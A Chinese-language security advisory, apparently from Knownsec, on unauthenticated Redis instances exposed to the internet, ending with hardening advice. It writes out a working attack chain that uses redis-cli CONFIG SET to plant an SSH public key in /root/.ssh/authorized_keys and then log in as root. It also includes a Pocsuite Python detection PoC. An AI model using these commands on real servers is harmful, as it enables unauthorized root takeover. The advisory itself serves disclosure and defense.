Redis 未授權訪問配合 SSH key 檔案利用分析
Redis是一個開源的使用ANSI C語言編寫、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。
Redis 未授權訪問的問題是一直存在的問題,知道創宇安全研究團隊歷史上也做過相關的應急,今日,又出現 Redis 未授權訪問配合 SSH key 檔案被利用的情況,導致一大批 Redis 伺服器被黑,今天我們來簡要的分析下。
一、漏洞概述
Redis 預設情況下,會繫結在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意使用者在可以訪問目標伺服器的情況下未授權訪問 Redis 以及讀取 Redis 的資料。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 伺服器上寫入公鑰,進而可以使用對應私鑰直接登入目標伺服器。
1、漏洞描述
Redis 安全模型的觀念是: “請不要將 Redis 暴露在公開網路中, 因為讓不受信任的客戶接觸到 Redis 是非常危險的” 。
Redis 作者之所以放棄解決未授權訪問導致的不安全性是因為, 99.99% 使用 Redis 的場景都是在沙盒化的環境中, 為了0.01%的可能性增加安全規則的同時也增加了複雜性, 雖然這個問題的並不是不能解決的, 但是這在他的設計哲學中仍是不划算的。
因為其他受信任使用者需要使用 Redis 或者因為運維人員的疏忽等原因,部分 Redis 繫結在 0.0.0.0:6379,並且沒有開啟認證(這是Redis 的預設配置),如果沒有進行採用相關的策略,比如新增防火牆規則避免其他非信任來源 ip 訪問等,將會導致 Redis 服務直接暴露在公網上,導致其他使用者可以直接在非授權情況下直接訪問Redis服務並進行相關操作。
利用 Redis 自身的提供的 config 命令,可以進行寫檔案操作,攻擊者可以成功將自己的公鑰寫入目標伺服器的 /root/.ssh 資料夾的authotrized_keys 檔案中,進而可以直接使用對應的私鑰登入目標伺服器。
2、漏洞影響
Redis 暴露在公網(即繫結在0.0.0.0:6379,目標IP公網可訪問),並且沒有開啟相關認證和新增相關安全策略情況下可受影響而導致被利用。
通過ZoomEye 的搜尋結果顯示,有97707在公網可以直接訪問的Redis服務。
根據 ZoomEye 的探測,全球無驗證可直接利用Redis 分佈情況如下:
全球無驗證可直接利用Redis TOP 10國家與地區:
3、漏洞分析與利用
首先在本地生產公私鑰檔案:
1 | $ssh-keygen–trsa |
然後將公鑰寫入 foo.txt 檔案
1 | $(echo-e"\n\n";cat id_rsa.pub;echo-e"\n\n")>foo.txt |
再連線 Redis 寫入檔案
1234567891011 | $cat foo.txt|redis-cli-h192.168.1.11-xset crackit$redis-cli-h192.168.1.11$192.168.1.11:6379>config set dir/root/.ssh/OK$192.168.1.11:6379>config get dir1)"dir"2)"/root/.ssh"$192.168.1.11:6379>config set dbfilename"authorized_keys"OK$192.168.1.11:6379>saveOK |
這樣就可以成功的將自己的公鑰寫入 /root/.ssh 資料夾的 authotrized_keys 檔案裡,然後攻擊者直接執行:
1 | $ssh–iid_rsa root@192.168.1.11 |
即可遠端利用自己的私鑰登入該伺服器。
當然,寫入的目錄不限於 /root/.ssh 下的authorized_keys,也可以寫入使用者目錄,不過 Redis 很多以 root 許可權執行,所以寫入 root 目錄下,可以跳過猜使用者的步驟。
4、Redis 未授權的其他危害與利用
a)資料庫資料洩露
Redis 作為資料庫,儲存著各種各樣的資料,如果存在未授權訪問的情況,將會導致資料的洩露,其中包含儲存的使用者資訊等。
b)程式碼執行
Redis可以巢狀Lua指令碼的特性將會導致程式碼執行, 危害同其他伺服器端的程式碼執行, 樣例如下 一旦攻擊者能夠在伺服器端執行任意程式碼, 攻擊方式將會變得多且複雜, 這是非常危險的.
通過Lua程式碼攻擊者可以呼叫 redis.sha1hex() 函式,惡意利用 Redis 伺服器進行 SHA-1 的破解。
c)敏感資訊洩露
通過 Redis 的 INFO 命令, 可以檢視伺服器相關的引數和敏感資訊, 為攻擊者的後續滲透做鋪墊。
可以看到洩露了很多 Redis 伺服器的資訊, 有當前 Redis 版本, 記憶體執行狀態, 服務端個數等等敏感資訊。
5、漏洞驗證
可以使用Pocsuite(http://github.com/knownsec/pocsuite)執行以下的程式碼可以用於測試目標地址是否存在未授權的Redis服務。
Python
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未授權訪問 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 預設不需要密碼即可訪問,黑客直接訪問即可獲取資料庫中所有資訊,造成嚴重的資訊洩露。
'''
samples = ['']
def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
二、安全建議
配置bind選項,限定可以連線Redis伺服器的IP,修改 Redis 的預設埠6379
- 配置認證,也就是AUTH,設定密碼,密碼會以明文方式儲存在Redis配置檔案中
- 配置rename-command 配置項 “RENAME_CONFIG”,這樣即使存在未授權訪問,也能夠給攻擊者使用config 指令加大難度
- 好訊息是Redis作者表示將會開發”real user”,區分普通使用者和admin許可權,普通使用者將會被禁止執行某些命令,如config
三、參考連結
- http://www.sebug.net/vuldb/ssvid-89339
- http://antirez.com/news/96
- http://www.secpulse.com/archives/5366.html
- http://www.sebug.net/vuldb/ssvid-89715